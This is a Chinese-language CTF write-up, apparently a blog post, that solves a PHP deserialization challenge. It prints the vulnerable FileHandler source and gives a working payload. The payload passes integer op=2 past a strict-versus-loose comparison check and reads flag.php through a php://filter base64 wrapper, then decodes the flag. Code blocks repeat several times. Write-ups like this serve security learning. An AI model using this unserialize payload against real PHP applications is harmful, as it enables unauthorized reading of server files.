打开题目就是一串代码需要进行代码审计
<?phpinclude(\"flag.php\");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = \"1\";$filename = \"/tmp/tmpfile\";$content = \"Hello World!\";$this->process();}public function process() {if($this->op == \"1\") {$this->write();} else if($this->op == \"2\") {$res = $this->read();$this->output($res);} else {$this->output(\"Bad Hacker!\");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output(\"Too long!\");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output(\"Successful!\");else $this->output(\"Failed!\");} else {$this->output(\"Failed!\");}}private function read() {$res = \"\";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo \"[Result]: <br>\";echo $s;}function __destruct() {if($this->op === \"2\")$this->op = \"1\";$this->content = \"\";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;}if(isset($_GET{\'str\'})) {$str = (string)$_GET[\'str\'];if(is_valid($str)) {$obj = unserialize($str);}}[Result]:PD9waHAgJGZsYWc9J2ZsYWd7YjFjYzcyMmYtZWNmZS00YTRjLWE3ODAtMjgzMGVmN2ExZmNlfSc7Cg==<?php include(\"flag.php\"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = \"1\"; $filename = \"/tmp/tmpfile\"; $content = \"Hello World!\"; $this->process(); } public function process() { if($this->op == \"1\") { $this->write(); } else if($this->op == \"2\") { $res = $this->read(); $this->output($res); } else { $this->output(\"Bad Hacker!\"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output(\"Too long!\"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output(\"Successful!\"); else $this->output(\"Failed!\"); } else { $this->output(\"Failed!\"); } } private function read() { $res = \"\"; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo \"[Result]: <br>\"; echo $s; } function __destruct() { if($this->op === \"2\") $this->op = \"1\"; $this->content = \"\"; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{\'str\'})) { $str = (string)$_GET[\'str\']; if(is_valid($str)) { $obj = unserialize($str); } } [Result]: PD9waHAgJGZsYWc9J2ZsYWd7YjFjYzcyMmYtZWNmZS00YTRjLWE3ODAtMjgzMGVmN2ExZmNlfSc7Cg==<?php include(\"flag.php\"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = \"1\"; $filename = \"/tmp/tmpfile\"; $content = \"Hello World!\"; $this->process(); } public function process() { if($this->op == \"1\") { $this->write(); } else if($this->op == \"2\") { $res = $this->read(); $this->output($res); } else { $this->output(\"Bad Hacker!\"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output(\"Too long!\"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output(\"Successful!\"); else $this->output(\"Failed!\"); } else { $this->output(\"Failed!\"); } } private function read() { $res = \"\"; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo \"[Result]: <br>\"; echo $s; } function __destruct() { if($this->op === \"2\") $this->op = \"1\"; $this->content = \"\"; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{\'str\'})) { $str = (string)$_GET[\'str\']; if(is_valid($str)) { $obj = unserialize($str); } } [Result]: PD9waHAgJGZsYWc9J2ZsYWd7YjFjYzcyMmYtZWNmZS00YTRjLWE3ODAtMjgzMGVmN2ExZmNlfSc7Cg==
补充知识点:
①什么是序列化和反序列化
- php序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中,使用
serialize()
函数。 - php反序列化:将压缩后的字符串恢复,就用到了
unserialize()
函数。 - PHP反序列化漏洞:如果代码中使用了反序列化
unserialize()
函数,并且参数可控,且程序没有对用户输入的反序列化字符串进行校验,那么可以通过在本地构造序列化字符串,同时利用PHP中的一系列魔术方法来达到想要实现的目的,如控制对象内部的变量甚至是函数。
②序列化格式
不同php数据结构序列化后的格式都不一样
- String : s:字符串长度:”字符串值”;
- Integer : i:数值;
- Boolean : b:value;(value为1或0)
- Null : N;
- Array : a:数组大小:{键的描述;值的描述;键的描述;值的描述; …} (描述值同String或Int型的序列化格式)
- Object : O:类名长度:”类名”:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值; …}
我们由最后一段,追溯到上面的is_valid函数:
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;}function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
分析代码可知,它对传入的参数中的每一个字符进行判断,确保参数中的每一个字符都是可打印的。
if(isset($_GET{\'str\'})) {$str = (string)$_GET[\'str\'];if(is_valid($str)) {$obj = unserialize($str);}}if(isset($_GET{\'str\'})) { $str = (string)$_GET[\'str\']; if(is_valid($str)) { $obj = unserialize($str); } }if(isset($_GET{\'str\'})) { $str = (string)$_GET[\'str\']; if(is_valid($str)) { $obj = unserialize($str); } }
如果没有不可打印字符,就将str反序列化
接下来看FileHandler这个类,发现可以利用析构函数
function __destruct(){if($this->op === \"2\")$this->op = \"1\";$this->content = \"\";$this->process();}function __destruct() { if($this->op === \"2\") $this->op = \"1\"; $this->content = \"\"; $this->process(); }function __destruct() { if($this->op === \"2\") $this->op = \"1\"; $this->content = \"\"; $this->process(); }
在这个析构函数中 ,op用的是===强类型比较,如果op等于2,就置为1,然后执行process函数,而我们发现,我们需要读取flag.php文件,又需要op等于2。
所以要想读取flag.php就要绕过process方法的判断,我们注意到process中用的是==弱类型比较,于是我们传入op的值就为整型2,这样析构函数中就不符合而process中就可以,这样就成功绕过。
public function process() {if($this->op == \"1\") {$this->write();} else if($this->op == \"2\") {$res = $this->read();$this->output($res);} else {$this->output(\"Bad Hacker!\");}}public function process() { if($this->op == \"1\") { $this->write(); } else if($this->op == \"2\") { $res = $this->read(); $this->output($res); } else { $this->output(\"Bad Hacker!\"); } }public function process() { if($this->op == \"1\") { $this->write(); } else if($this->op == \"2\") { $res = $this->read(); $this->output($res); } else { $this->output(\"Bad Hacker!\"); } }
上脚本:
<?phphighlight_file(__FILE__);class FileHandler {public $op = 2;public $filename=\"php://filter/read=convert.base64-encode/resource=flag.php\";public $content;}$a = new FileHandler();$b = serialize($a);echo($b);?><?php highlight_file(__FILE__); class FileHandler { public $op = 2; public $filename=\"php://filter/read=convert.base64-encode/resource=flag.php\"; public $content; } $a = new FileHandler(); $b = serialize($a); echo($b); ?><?php highlight_file(__FILE__); class FileHandler { public $op = 2; public $filename=\"php://filter/read=convert.base64-encode/resource=flag.php\"; public $content; } $a = new FileHandler(); $b = serialize($a); echo($b); ?>
O:11:\"FileHandler\":3:{s:2:\"op\";i:2;s:8:\"filename\";s:57:\"php://filter/read=convert.base64-encode/resource=flag.php\";s:7:\"content\";s:0:\"\";}
经过base64解码即可
考点
- php弱类型比较
- protected/private类型的属性序列化后产生不可打印字符,public类型则不会
- PHP7.1+对类的属性类型不敏感
所以最终flag为flag{b1cc722f-ecfe-4a4c-a780-2830ef7a1fce}
THE END
暂无评论内容